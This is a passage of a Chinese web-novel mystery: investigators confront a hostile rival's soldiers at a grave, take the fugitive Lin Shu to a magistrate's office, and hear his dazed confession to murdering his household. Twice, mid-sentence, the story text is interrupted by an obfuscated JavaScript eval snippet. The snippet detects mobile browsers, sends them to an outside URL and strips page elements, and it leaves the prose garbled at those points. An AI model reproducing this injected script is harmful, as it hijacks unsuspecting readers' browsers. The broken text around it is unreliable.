宋景熙还是头疼,按了按额头,心道早知如此不对付,就应该分开询问了。他道:“林树强|暴一事究竟是怎么回事?” 医女道:“属实。” 宋景熙道:“原来确有此事。” “但也不完全属实。”医女道:“林树闯入大夫人房中一事属实,那老婆子所说的前因后果也属实,但有一点不能确认属实,那就是林树闯入大夫人房中的目的。我那时恰好在府中侍奉老夫人汤药,老夫人难伺候,我一整夜未眠,听到大夫人房中传来尖叫,赶去看时,林树正压在大夫人身上,用手死死地掐着大夫人的脖子,分明是要掐死大夫人,大夫人挣扎得也很厉害,本就只着了一身衣服,挣扎间衣服便散落了开来。之后大夫人十分羞愤,认为这是奇耻大辱,并对大少爷称林树意图强|暴她,所以一哭二闹三上吊。” “但林树是因为大夫人出言辱骂了其母亲而发狂,又怎会去强|暴大夫人呢?并且我看见林树时,他完全只是盯着大夫人的脖子用尽全力掐住,力气大到绝对是要掐死大夫人的地步。所以我猜测大夫人是因为无法忍受衣服散落这种耻辱,为了让林树受到严惩才说是强|暴,并且果然大少爷听说后将林树揍了一顿,还用狗链锁了起来。不过这之后大夫人还是不解气,大少爷也因为厌倦大夫人不停的哭诉和闹上吊而夜不归宿,连日留宿妓馆当中。大少爷那边不管,所以大夫人气不过,带着人去挖了林树母亲的坟墓,并且拿着他母亲被劈成两半的墓碑放在他眼前炫耀。” “于是我便从林家请辞了,反正我早就无法忍受一日比一日难伺候的老夫人了。这一家人都是一群脑子有病的不正常的。听说第二日,林树便消失了。不知他是如何挣脱狗链的。” 21. 空亡其九 南邑郊外。 林间孤冢。 宋景熙和韩时元面前正是林树母亲的坟墓。只有隆起的土包,没有墓碑,连一块木牌也没有。 他们问了南邑郡守林树母亲的墓在哪里后便来到了这里。据郡守自述,林树出逃后,捕盗厅认为要是万一林树逃出了城,那说不准能在林树母亲坟墓附近找到他,于是派人在此蹲守,一连几日都没有看见林树的身影,后来便撤离了。那时他们看见的林树母亲的坟墓的确被掘开了,但只是覆盖在棺椁上的土被挖开,棺材盖上虽然有被斧头砍过,但显然掘坟的人只砍了几斧头便放弃了,实际上并没有将棺材打开。 韩时元先下了马,道:“你看。” 宋景熙看向韩时元。 韩时元看着那坟墓。 韩时元挑眉道:“不是看我。你看坟墓左边那棵树。” 哦,原来不是让看他。 宋景熙忍不住尴尬三分,抬头去韩时元所指的树。 这是一颗营养不良的杨树,最粗壮的部分也不及碗口大,长了一副与枝繁叶茂完全相反的模样,稀稀落落的没有几片叶子,有也是枯黄的,分叉的树枝像干枯蜷曲的指爪一般伸向远处。最重要的是,这棵树还长歪了! 树林里的其它树都笔直笔直,唯有这一颗树歪着。 宋景熙也下了马,走到坟墓旁,仔细端详一番后道:“这样还能活下来,真是一颗坚强的树。”不过他没看出来韩时元让他看这棵树的理由,便道:“嗯...这就是一颗长歪了的树,怎么了吗?你发现什么了?” 韩时元轻声笑了一笑,道:“没什么,觉得稀奇,指出来给你看一看。” 宋景熙道:“这样啊,长这么歪还活着的树,的确稀奇。”虽然这么说着,但他的眼神已经转移到面前的坟墓上了。 又是据南邑郡守自述,蹲守在坟墓附近的人撤走前,无论是衙门的人还是捕盗厅的人,都没有好心到将棺椁重新用土盖上。直到他们撤走,也没有人这样做。所以墓中棺材一直是暴露在地上的。但眼前这座坟墓,分明被人重新用土盖上了。虽然棺上的土包有明显翻动过的痕迹,而且由于被翻过,所以土包上干干净净,连一根草都没有。 “是谁又将墓土覆盖上了?难不成是无名客栈的魏...” 然而话尚未说完,树林深处突然传来一声大喝:“抓住他们!!”紧接着,树干交错间,一群半副武装的士兵冲了出来,十几二十名,团团围住了这片空地。 那道人声的主人也从树影中蹿了出来,竟然是骑在马上的韩明吉! 不仅如此,与韩明吉一同跳出来的还有两名骑马的武官,他们的马屁股上各自绑着一个人,正是魏老板和林树,两人竟都被捕绳五花大绑着,口里还塞着破布。 宋景熙好一番震惊,魏老板和林树居然被抓了,还是韩明吉抓的!马屁股上的林树似乎是被打晕了,像具尸体一样耷拉着,而魏老板显然也是挨了打,脑袋上血流不止,但他还没晕过去,见到宋景熙和韩时元二人,立刻呜呜挣扎想要说话,奈何口中破布,一句话也说不出来。 再看韩明吉,不知何时竟然换了一身红色戎服,还背起着一筒羽箭,手里搭着把弓,一见宋景熙,立刻得意大笑两声,道:“宋景熙!你私藏犯人,罪无可恕,如今落在我手里了吧?哈哈哈!”他又立刻拿弓对准二人,却没有拉弦,只是指了指,目露凶光,朝几个兵士命令道:“喂!你们几个,赶紧把他们两个绑了!” 一声令下,立即有两个手持捕绳的人逼近过来。宋景熙眉头一蹙,这个韩明吉,不仅到了南邑,还带兵来抓人,还真是士别三日当刮目相看!这么多人,正面硬碰硬显然不是个好计策,他朝韩时元摇了摇头,示意先别动手,又顿时心生一计,取出随身携带的腰牌,举到身前,喝道:“敦宁府判官在此!谁敢妄动!” 判官这个职位虽然不如何高,但好歹是敦宁府的,敦宁府的那就是宗亲,不好得罪的。将他们围着的士兵顿时面面相觑,两名捕手更是摇摆不定着,见他们心思有所动摇,韩明吉也喝道:“愣着干什么?!今天就是王亲国戚站在这也得给我绑了,何况他们还是包庇凶手的共犯,你们怕个屁啊,动手!” 话虽是这么说,王亲国戚真犯法了,也轮不到他们这小门小户的士兵绑啊??而且这敦宁府还真是王亲国戚,不敢得罪,不敢得罪!两名捕手假兮兮地上前,围着众矢之的的二人打转,就是没冲上去绑人。 韩明吉怒道:“没用的废物!”他抢过身旁一名小军官的佩刀,抬手往一名捕手的背后横砍了一刀,又将其一脚踹到地上,“绑不绑?!” 被砍的捕手背后染红一片,跪在地上不停磕头求饶,另一名捕手吓得冷汗连连,毫不怀疑再不动手,这下一刀划的可就是脖子了。于是他咬紧牙关,颤颤巍巍地朝韩时元冲去,心想这个人没摆明身份,说不定只是随从!贵族绑不得,挑个软柿子捏捏! 宋景熙看清捕手的想法,立即挡在韩时元身前,捕手根本接近不来,前后为难,只得看向韩明吉。宋景熙冷冰冰地道:“韩大人,凡事都要讲究证据吧。谁说我们包庇犯人?证据呢?” 韩明吉挥手一指,冷笑一声:“证据?我身后就是证据!” 他指的是身后两名武官马上的魏老板和林树。 “宋景熙,你真是愚蠢啊。这才几年没见,你居然比当初在宗学还不如了。你恐怕没有想到有人会背叛吧?人证就是我的证据!”紧接着,韩明吉一字一顿地道:“我劝你还是珍惜下你那条命,然后,跟我回衙门,好好清算。哦当然,得绑住你们,不然你们可是会逃的啊。” 宋景熙也冷笑一声:“如果我说我不呢?” 韩明吉面上冷笑转瞬消失。 韩时元忽然道:“他们围上来了。” 韩明吉拍了拍掌,士兵们立刻逼近来。与此同时,他扔掉抢来的武官的刀,退后几步,命令道:“都上!别砍死了,抓活的!” 众士兵哪有敢不上的,这一整日的相处,谁不知道这位韩大人跟个疯子似的,谁敢违令,这刀立刻就抹到脖子上去了,再不就是拿弓箭打条手啊腿啊什么的。士兵们一哄而上,宋景熙暗叫一声麻烦了,二对差不多十五,怎么打! 那也没办法,都被包围了,硬着头皮上! 迎面撞来三名士兵。宋景熙立刻抽出背后的刀,迎上他们。韩时元这边更是冲过来四个,矛棍刀枪,一人一个,围住了韩时元。 本感到十分棘手,然而才架了几招,宋景熙便觉得有些不对劲,好像也没那么麻烦。这群士兵,完全是在做做样子随便打啊!持刀的不敢砍到他,拿矛的不敢戳到他,握棍的不敢碰到他,束手束脚的,纯粹是为了困住他! 而且这些士兵似乎很聪明,懂得暴露弱点,很容易便被打趴下。不仅如此,演技也不错,被他打趴下后,皆在地上挣扎不起,有的干脆躺尸。 这一批打趴下后,又紧接着上来两三个,又暴露弱点,又被打趴下,又躺尸,反复如此。十五个士兵,居然这么好解决,宋景熙一边和士兵拼演技,一边在心里感叹,还好他早早拿出了敦宁府的腰牌,不然这些士兵一定会很难缠! 韩时元这边,虽说这人身姿高挑矫健,气质出众,但也许是因为他衣着并不出众的原因,士兵们判断不出来他到底是贵族还是平民,下手明显狠些。他又没有自带武器,只好夺了一个人的刀。方挑开一个缠上来的家伙,紧接着又有三个人缠上来。韩时元唇角抽了抽,不是应付不来,而是他和宋景熙一样,也发现了这些士兵心里的小心思。 等等,那韩明吉呢?没发现吗? 韩时元敏锐地朝韩明吉退去的方向看去,忽然目光一凝,瞳孔瞬息放大,猛地横刀劈开挡路的两个士兵,跨步朝宋景熙而去,一把将人揽到怀中,再迅速转身。 宋景熙还在因为被突然捞过来而发愣,耳边便传来一道凛冽的箭簇擦空声,伴随着的是脑袋紧贴着的胸腔中那不太规律的震颤。 韩明吉放下弓箭,方才那一发冷箭正是他射的。他啧了一声:“该死的,没射着。”转而又似乎看到了什么,大喜道:“哈哈!射中了!” 韩时元的力气太大,宋景熙动弹不得,只好赶紧拍拍他,让他放开自己。被放开后,便急忙去找“射中”的地方。 映入他眼帘的,是韩时元左臂上被利簇划开一道细长的口子,正在汩汩往外冒血。 宋景熙两眼一黑,也顾不得多思考了,当机立断道:“我们走,先回城,找个医馆!” 韩时元咬住下唇并不喊疼,反而宽慰道:“无事,一道小口子而已,你看。”他将手臂伸了过去。 仔细一看,伤口确实不算太深,应当没有伤及手臂上的重要血脉,只是冒血冒得多,看起来十分吓人。宋景熙捂脸道:“那也得处理一下。我懂一些止血的方法。”说着,便要去撕自己的衣服。 “别,真没事。”韩时元握住他的手,没让他撕成。韩明吉这时大失所望地走了过来,两手还搭在弓上,分外惋惜:“白费力气了,好不容易射这么准。” 宋景熙的刀还握在手上呢,一提气,斩刀劈于韩明吉身前,恼怒道:“滚远点。” 韩明吉赶紧退后一步躲过,取箭搭弓对准宋景熙,回道:“你才滚!” 宋景熙横转刀尖,接下来只需动动手腕,他道:“三步之内,刀和弓,谁更快?韩明吉,在宗学时无论刀剑还是弓箭,你都比不过我,如今是想比比谁精进更多?” 韩明吉怒道:“谁比不过你了?你算什么东西?!” 宋景熙道:“你可以试试。” 韩时元也不动声色地提起那把抢来的便宜刀,按兵不动。三人就这么两方对峙着。 忽然,韩时元将刀尖往上提了一下。 韩明吉本就紧张,绷着一根神经,这下被韩时元的动作所迷惑,立刻将弓改为对准韩时元。宋景熙不用和韩时元对视便心领神会,扬刀去劈韩明吉的手臂,韩明吉受了惊,一箭射出,却射得不正不直,歪歪地飞向远处了。 偏韩明吉还来不及恼怒,一把刀便架到了他的脖子上。 韩时元微笑道:“这把砍刀虽有些钝了,不过砍个脖子的事,应该还是不成问题。” 韩明吉的脸青了又青,他忽然完全不顾脖子上架的刀,愤愤地甩手将弓箭摔在地上,恼羞成怒道:“早知道就不来了!非要让我来!还非让我练什么弓箭,又打不赢用刀用剑的,有个屁用啊!你们都滚!都滚啊!” 几个本来半躺在地上观战的士兵吓得立即捡起武器逃远了些。韩明吉觉得太丢脸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773770|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不停地骂人,边骂边踩地上的弓箭,越踩越用力,越骂越带劲。 听他这么不带什么脏话的骂人,很明显在指向一个人,他哥韩圣吉。宋景熙对韩圣吉没什么印象,但从韩明吉气急败坏的连珠炮语中大概能猜到,原来韩明吉之所以会来到南邑插手灭门案,全是他哥韩圣吉逼的。 原来如此。不过,韩圣吉为什么要逼他来南邑插手灭门案这件事?宋景熙脑海中只短促地产生了这么个想法,很快便将其抛之脑后了,他对无论是韩圣吉还是韩明吉,都不关心。并不想知道。 韩明吉正骂着。韩时元忽然嘶了一声,宋景熙想起他手臂上的伤,立刻扶了他一把,但是似乎因为身高的原因,并没什么用。宋景熙道:“很痛吗?还是先得找个医馆止血敷药,我们赶紧骑马带人离开。” 韩时元摇头,“不用,不是很严重,迟些再治也不迟,你看,已经没怎么流血了。还是先放魏老板他们下来吧。” 宋景熙看着韩时元还在冒血的伤口欲言又止,转念一想,反正能打的士兵已经都被他们打趴下了,韩明吉也已经弃战了。他也不想再多作纠缠,于是放下了刀,朝韩时元道:“好。借借你的短刀。” 韩时元果断将腰间短刀拔出来递给宋景熙,宋景熙转身走向捆着魏老板的马,将魏老板身上的捕绳割断。至于韩明吉,只是依旧在一门心思地骂人,并且已经从骂他哥转到骂所有他讨厌的人包括宋景熙了,并且是相当一心一意地骂,完全不在意宋景熙在做什么。 捕绳被揭开,口中的布也被取走,魏老板恢复了自由行动和说话的权利,双脚甫一落地,便立刻着急地道:“宋大人,我没有背叛你们!是老黄和大田他们......” 宋景熙道:“我知道。” 魏老板愣了一愣:“啊?” 宋景熙冷静地道:“魏老板,我们要带你和林树回一趟衙门。有什么事,不急这一时,还是等先回衙门再说吧。” 踩着弓的韩明吉忽然抬头道:“啊?” 他红着一张脸,应该是被气的,怒骂道:“宋景熙你有病吧!你要带人回衙门,那你和我打什么?好好跟我回官衙不好吗?!” 宋景熙道:“不是你先冲上来便说我是共犯,对我喊打喊杀的?” 韩明吉道:“你这是什么意思?你想干嘛?!喂!他不能放!” 宋景熙已经走到了林树面前,捧起他的脑袋看了看。不忘回应韩明吉:“与你无关。” 林树身上绑着好几道麻绳,除了两条腿,连脖子都被绑住了,勒得很紧。他被被面朝下放在马屁股上,脑袋都快要垂到地面,脑袋上也没有伤口,不知为何晕过去了。 魏老板担忧地道:“从昨天晚上他睡着后,就再也没有醒过来了。” 宋景熙道:“我们先带你们回官衙,衙门中有医员,可以看一看林树的情况。” 魏老板道:“回、回官衙?不能......找个医馆吗?“ 宋景熙叹息道:“谁知医馆会不会很忙呢?官衙里的医员不比医馆里的差,也更有空闲。何况魏老板你也看见了,我这位朋友手臂受了伤,拖不得,还是先回官署一趟吧。” 韩时元立即附和道:“对。”说罢,向魏老板展示了自己手臂上血淋淋的伤口。 魏老板的眼皮跳了跳,欲言又止,最后什么都没说,默然点了点头。 几人上马,魏老板上了韩时元的马,宋景熙则骑上驮着林树的那匹武官的马。正待扬长而去,一直被忽略的韩明吉突然来回指着几人,阻止道:“宋景熙!你一定要和我对着干是不是?给我下来,谁准你们走了!方才是你们俩使了手段,太下作了!敢不敢一对一和我堂堂正正再打一架!” 宋景熙也不遑多让:“哦,你是说,方才你让那些人围攻我们是堂堂正正的?还是说,你突然射箭袭击也是堂堂正正?韩明吉,你是不是脑残?” 韩明吉傻眼了:“你说什么?”他又怒了,“你再说一遍?!” “我说你是脑残!”如他所愿,宋景熙继续道:“我早就说了,你有什么证据证明我私藏逃犯?你自己莫名其妙擅作主张,私自动手,现在把罪名又怪到谁身上来了?他们我带走了,我会带他们回官衙,不必你来操心。走!” 韩明吉的脸青一阵白一阵,“走什么走!”又朝地上“悠悠醒来”的士兵们喝道:“一群废物,这时候知道醒了?!给我赶紧滚起来!拦住他们!” 士兵们又晕了。 韩明吉骂了一声,拿箭指着宋景熙,已经拉了个满弓,愤怒地道:“宋景熙!你这个满嘴谎言的家伙,谁知道你会不会带着他跑了?!你想带他走,没可能!我要杀了你!” 宋景熙不理他,打马走了。韩明吉立刻放箭,一箭落空,又立刻将弓箭指向落在宋景熙身后还没立即纵马的韩时元,咬牙切齿道:“我也要杀了你!” 韩时元握紧缰绳让马走了两步,做好了纵马离开的准备,他看着韩明吉,不屑道:“你可以试试。”落下这句话后,马蹄也奔开向着宋景熙离开的方向追去了。 与此同时,韩明吉又是一箭射出,再度落空。 眼见仇人得逃,韩明吉气急败坏,再次扔掉弓箭,恨恨地踩了几脚。朝着韩时元消失的方向大吼道:“你他妈到底是谁啊?!!” 22. 空亡其十 两匹马一骑绝尘,消失在密林中。 骑出密林后,韩时元道:“真去官署?” 宋景熙点了点头,韩时元便没有再多问。 唯有魏老板,一脸凝重,一路上一语不发。没过多久,也不知是什么原因,林树竟然缓缓睁开了眼睛。魏老板率先发现了林树的情况,立刻拍了拍韩时元的肩膀,激动道:“小树他、他醒了!宋大人!小树醒了!” 宋景熙立即停下马步,见林树略昂起脑袋,有从马屁股上起身的意思,他心想可能是马匹颠簸得难受,便将林树扶了起来坐稳在马背上,又犹豫了一番,还是选择割除了林树身上的捕绳,只留了一个手上的。 虽然醒了,但无论魏老板说什么问什么,林树都呆呆的,双眼里没有一点神采,仿佛失去了魂魄一般,对任何话都没有任何反应。宋景熙只好决定先回到官署让医员看一看再说。几人又重新出发。 又过了片刻,宋景熙听到身后林树忽然小小声地道:“好痛。” 这一声虽然小,但三人都听到了。 “怎么了?是哪里痛吗?”宋景熙扭过头来问,却看见林树正直勾勾地盯着韩时元,他的眼神里先前丢失的魂魄似乎回来了那么两三分。 宋景熙心道:“难道是在说韩时元手臂上的伤口?血淋淋的,看着确实疼。” 魏老板动了动嘴角,也看向韩时元的伤口道:“大人,小树他应该是说您的伤。” “你说这个?”韩时元似乎神色轻松,道:“不是很痛啊。” 林树吃力而执着地道:“很痛,我、我手上,也、也有这个,很痛。” “你也有?”宋景熙吃了一惊,拉住缰绳停下马,见林树点头,他道:“给我们看看好不好?” 林树晃了两晃,犹犹豫豫地点了点头,宋景熙将他的袖子拉了上去。只见林树的左手臂上布满了或青黑、或紫红的淤青,还有一道可怖的划痕,伤口很深,结着黑红的痂。像花团锦簇的织布上被恶意划开的一道口。 宋景熙多看了那道伤疤几眼,沉声道:“小树,这些伤是怎么来的?” 林树摇摇头:“不记得了。” 韩时元瞥了他一眼,“这也不记得?” 林树伸手摸了摸那些疤痕,眸中有什么东西在跳跃,却充斥着更多的迷茫。他还是摇头,“真的不记得了。” 宋景熙目光一凝,沉思片刻后,他道:“无事,记不起来也没关系。我们走吧。” 两刻后,几人终于到达了官署,所幸韩明吉还没带着人赶回来,宋景熙出示腰牌后,三人便被放了进去。 南邑郡守慌张张地迎了来,紧张地问候道:“两位大人回来了?” 忽然,郡守眼睛一瞪,他看到了躲在宋景熙身后的那个罪大恶极的逃犯,于是哆嗦着指着林树,惊异不已:“...那个魔头!大人,您把他抓来啦?!哎哟,不愧是汉阳来的高官,下官佩服佩服!快来人,把他绑了押到牢里去!” 说着,郡守又看见了坐在韩时元马上探出头的魏老板,又是两眼一瞪,诧异地道:“你怎么在这?” 魏老板尴尬地低下了头,没有说话。 宋景熙感到背后的林树紧紧贴着他,并且在止不住地颤抖,便立刻制止了想要冲过来的兵士,并道:“先别着急。我这位同僚受了伤,请郡守大人先找位医员替他治治。还有林树也一样,他似乎...呃总之先烦请郡守大人为我们找位医员来。” 郡守不敢不从,连连道是,吩咐手下去找医员,医员很快赶了过来,的确是衙门里常驻的。 医舍内。 察看了一阵伤口后,医员道:“这箭伤伤得不是太严重,只是流血流的有些多,需要敷些疮药止血,再服用汤药一月便可完全痊愈,只是可能会留下一道小疤。伤口未愈合前,千万要注意不要让伤口撕扯了。我这就为您去开汤药方子,再给您煎一副药来。” 韩时元道:“好,多谢。” 医员惶恐地准备离开,不是因为别的,而是这间屋子里除了他们,还有着那名令人闻风丧胆的灭门案凶手林树! 林树是宋景熙让留下的。医员想,如果再让他多和这个杀人犯待在一起,他真怕突然命丧黄泉。 医员正待转身离开,宋景熙却叫住他:“请先别走。麻烦也给林树把一把脉。” 医员定住动作,只能僵硬地照做,片刻后,医员松开手道:“脉搏浅弱,些许凝滞,气血皆虚得不像样,身体状况相当差劲,须得好好调补才能好起来。其它的,暂时看不出来了。” 宋景熙神色凝重地点点头,随即语气颇为疑惑地问道:“医员有接触过一些奇特的病症吗?或者认识接触过一些有着奇特病症的人吗?” 医员道:“奇特病症?肉身之躯本就好发疾病,奇特的、无法医治的病症更是多如牛毛。所以...不知大人说的奇特病症是指什么?” 宋景熙道:“比如,一个人在自己并不清醒的时候做出了一些行为,但清醒之后却又将自己在不清醒时做过的事情完全忘记了。有这种可能吗?”说罢,他不禁朝角落里的林树看了一眼,林树垂着脑袋,抱成一团蜷缩着,对他说的话没有反应。 医员道:“有可能。小的听说有一些特殊的植物,譬如蕈类,有些蕈一旦服用下去,便会致使人出现这种情况,就像中了幻术一般,无法控制自己的行为。只不过这种有着奇幻作用的植物小的也只是在医书上得知,从未亲眼见过。” 宋景熙若有所思地点了点头,又问道:“那有没有可能,不是服用了某种东西的原因,而是因为受到了一些刺激。只要受到刺激,便会进入那样不清醒的状态,在这样的状态下的人会好似完全变成了另外一个人一般,表现出来的行为和本性相当违背,而且在恢复清醒状态后完全不记得自己做过的事。会有这种人出现吗?” 医员肯定地道:“那这个人一定是疯了。” 宋景熙:“疯了啊......” 医员哎了一声:“大人,伤口的事情拖不得,小的先去煎药了。” 宋景熙挥了挥手。 医员走后,宋景熙便陷入了沉思当中。但没过多久,医舍外医员的声音传来:“啊!该死的!” 宋景熙呼道:“怎么了?”并且站起来走到了门口,看见医员手里拿着一包稀碎的药材。 医员道:“就是、就是需要的药材被老鼠啃坏了,小的现在要去城里药铺再购一批新的来。不过有一副汤药已经在煎着了,要不、要不二位大人帮忙看管一下,小的去购置药材,去去就回!” 宋景熙道:“好,我们帮你看着,不着急。” 两人坐在药炉旁边,按照医员的吩咐看管煎药。宋景熙盯着药罐里的药材咕嘟咕嘟地泡腾,不知不觉又陷入了沉思。 他一直觉得很奇怪,就像韩时元所说的,从一开始,林树便给他们一种相当割裂的感觉。譬如悬赏令画像上林树凶恶的眼神和见到林树本人后那人畜无害且懦弱的眼神,有时这眼神又会变得空洞无比,好像完全失去了灵魂,只剩下一副壳子。 若说画像下林树凶恶的眼神是捕盗厅杜撰出来的,宋景熙也觉得并不合理。因为从林家乳母的证词来看,林树的确不只是会露出人畜无害的一面,他也有暴怒的一面,有狠毒的一面,这样的一面也得到了为林家医治的医女的证明。而结合这两人的证词来看,如果想见识到林树凶狠的一面,必然是有条件的,宋景熙大胆猜测,这个条件就是虐待和侮辱。 既然真有这么一面,那捕盗厅在审讯林树的过程中少不了用上刑罚手段,那么便很有可能在审讯期间,捕盗厅看见的林树完全就是一副恐怖的模样,所以悬赏令上林树的眼神才会那样凶狠,因为那就是捕盗厅的官员所看见的。 想通此节,宋景熙将这一想法说与了韩时元。韩时元颔首道:“所以,林树的确是疯了,而且是被逼疯的。也许没有遭受虐待时的他相当正常,但一旦遭受刺激,他便会变成一个与正常时的自己完全相反的疯子。” “这正是我想表达的意思。”宋景熙道:“但我依旧有一点非常不能理解,懦弱的人受了刺激被逼走上极端,这样的事情并不少见,林树他既然是受了刺激才变得发狂,那他为何会在事后完全忘记了自己的所作所为?他似乎已经忘记了很多事情,所以看来他受到刺激的次数不少,发狂的次数也不少。” 韩时元道:“我也无法理解。但如果林树真像我们推测的一样的话,那他真的是凶手了,只是他忘记了自己是凶手。” 宋景熙搓了搓脸,有些崩溃:“要推翻我之前对于魏老板和林树的信任,我一时半会儿还没办法缓过来。魏老板......对了,还不知道魏老板知不知道林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773771|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树的这种病症,他或许也...不知道吧。还有,既然他会完全遗忘自己在发狂时所做的事情,那河边之人又怎么解释,难不成他撒谎了么?” 一向善于分析的韩时元也陷入了沉思当中,但他很快便开口道:“有没有可能,那河边之人,的确从未存在过,而是他的幻觉?“ “幻觉?”宋景熙沉思片刻,顿然点头,道:“对!你说得对,是有这种可能。” 正在此时,医舍围墙外快步走来一批人,是郡守和其领着的一群士兵。为首的郡守慌慌张张,就着围墙边朝墙内二人呼唤,声音带着十足的慌乱和害怕:“不好啦!大人!林树跑啦!已经跑了不知道多久了!!” “???” “林树不是在医舍内吗?”宋景熙一下子从座椅上站起来,快步冲入医堂。医堂里空空荡荡,哪里还有林树的身影?只是这时两人才发现医堂里居然还有个后门,由于先前紧闭着,还被柜子挡着,因此他们甚至没有注意到过。现下眼前这挡着后门的柜子被推开,后门也是敞开的。林树他是从医舍后门跑的!悄无声息地跑了! 韩时元沉声道:“让他跑了。” 就一般而言,附近的动静是不能逃过他的耳朵的,若安静时,就连轻微的脚步声也能听得十分清楚。但医舍在衙门附近,人来人往,本就嘈杂,加之还有煎煮药材的声音,也影响了他的耳力,没能听到林树逃走了。 宋景熙又走回院子里,道:“他应该走不远,就在城里,郡守大人,抱歉!是我们疏忽了,我们马上去找他,嗯...我的马呢??” 他不是栓在医舍附近了么?? 郡守一脸焦急地道:“大人!他骑走的就是您的马!已经出城了!要不是我收到城门那里有人闯出的消息,也不会知道是他跑了!” 宋景熙拍了拍脑袋,懊悔万分。走到院门处欲打开门。谁知一股突如其来的劲力从外至内,破门而入,宋景熙差点被门撞到,好在韩时元及时按过他的肩将他往后一带,堪堪躲过。 来人又是宋景熙最不想看到的韩明吉。韩明吉依旧是一身深红戎服,手里握着把刀,直指面前二人。几乎是同一瞬间,韩时元也抽出宋景熙背后的刀,同样直指面前的韩明吉。 韩明吉扬声质问:“宋景熙!人又跑了,这可是你的问题,你还想怎么狡辩?进了衙门还不把他绑起来,你就是想放了他,是不是?你这个该死的家伙,我要砍死你。” 韩时元冷笑道:“你敢?” 郡守吓得魂不守舍,两个他惹不起的贵族拔刀相见,这伤了谁他都承担不起的,连忙挡到中间,挥手道:“哎哎哎别砍别砍!几位大人,砍下官!砍下官就好了...啊啊啊啊啊大人别砍我!” 韩明吉作势要砍人的刀被韩时元挡开,两人就着中间的郡守过了几招,郡守吓得抱头鼠窜,逃到一旁喘着大气。宋景熙冷眼看着韩明吉,按住韩时元的手,顺力接了一招,三人角力,韩明吉一个人的力气自然抵不过两个人,他整条手臂发麻。等韩明吉的刀被弹开,宋景熙当即喝道:“闹够了没有!” 韩明吉为避开刀尖,往后跳了一步,也喝道:“我闹什么了?!你还有理上了?” 宋景熙道:“是我的疏忽!让我去找他,我知道他去了哪。别在这里和我打,浪费的是你我的时间,只会让他逃得更远!” 韩明吉恶恶地哼了一声,甩腕指向外边,道:“去找啊!!” 宋景熙的马被林树骑走了,郡守立刻将自己的马匹牵了过来,大方地让给了宋景熙。宋景熙道了声谢,上了马后才发现没有看到魏老板的身影,便道:“魏老板在哪?” 郡守的眼睛瞬时飘到别处去了:“哎呀......刚刚收到林树逃走的消息后,我怕魏老板也逃走,就让他抓他下狱了。万一他是林树的共犯呢!” 宋景熙道:“你说的很对。但郡守大人,我现下心中已经猜测到林树会逃到哪里去,可能他现在正处于暴躁的状态当中,所以才会逃走,我们需要魏老板的帮助,或许只有魏老板能将他安抚下来,请你暂时将他放了,让他赶紧赶到那里去吧。” 郡守道:“这...这,哎呀,好吧!”他吩咐完两个士兵将魏老板带过来,又扭头道:“不过大人,那里是哪里......人呢??” 宋景熙和韩时元以及韩明吉已经骑着马走远了。 23. 空亡其十一 林树跑了,还能跑去哪?多半又是那个地方!宋景熙和韩时元策马飞快赶过去,马屁股后头还咬着个紧追不舍的韩明吉。 到了地方,果然见林树正待在那座无名孤坟旁。他伏守趴在地上,听到马蹄声后缓缓抬头,表情呆愣,直盯着宋景熙,盯着他下马,盯着他走了过来。 韩明吉也赶紧下马过去,准备抓人,却被韩时元一掌挡住。不出所料,二人又在一旁打了起来。韩时元没有长刀,却打得带刀的韩明吉节节败退。 宋景熙这边,他走到林树身旁蹲了下来,看着他,眼底满是复杂之色。 林树呆愣愣地喊了声:“哥哥......” 宋景熙愣了愣。下一刻,甚至都出乎他自己的意料,他伸手摸了摸林树的脑袋。 林树的泪一下子汹涌而来,如同那夜跪在地上大肆哭泣一样。他流着泪道:“哥哥,我好像做了一个梦。” 宋景熙干巴巴地唤道:“...小树.....你做了什么梦?” 林树道:“我想起来了...一点点。哥哥,人,他们,是我杀的。我梦到我杀了他们,他们全部都是我杀的。” 韩明吉还没从单方面被殴中脱身,耳朵却是朝着这边的,他不适宜地冲这边大喊:“是!人是你杀的!你终于承认了,还不快滚回去认罪!” 林树没有抹去眼泪,也没有理会韩明吉的话,不知是在对宋景熙说,还是在自言自语:“好像不是梦,那天...就是我杀了他们。我看到我把他们都迷晕了,然后将他们捆了起来,然后我杀了他们...最后是小少爷,小少爷吓哭了,我问他你为什么哭,他都不说话,一直哭一直哭,我就把他捅死了。” “......” 过了半晌,宋景熙才干涩地开口:“......那河边的那人呢?” 林树道:“我不知道...可能我记错了。那天他说让我杀了我的家人,也许我其实是答应他了,他才走的。是这样吗?可是...为什么我会忘了那些事,好像就是一场梦一样,我没办法控制自己,我不想下手的,我真的不想下手的......” 韩明吉人还没脱身,嘴已经脱离了,他再次大喊:“就是你杀的!还装什么?没脸没皮的家伙!” 林树摇摇头:“我真的不想杀了他们的,可是我控制不了我自己,我就眼睁睁的看着我把他们杀了。小少爷很可怜,我对不起他,如果没有我......” “不。”宋景熙截住了他的话头:“你要先考虑自己,再去为别人着想,没有人比你自己更重要。” “可是...”林树还没可是完,宋景熙又道:“无论那是你做的梦还是现实,既然现在还想不清楚,那我们先回去好不好?回去填饱肚子,回去好好休息,等休息好了一些事自然会想起来,现在先不急。我带你回去,回魏叔那,好吗?” 韩明吉怒喊道:“宋景熙你个伪君子!不要脸的混...啊!”韩时元照他脸上来了一拳。 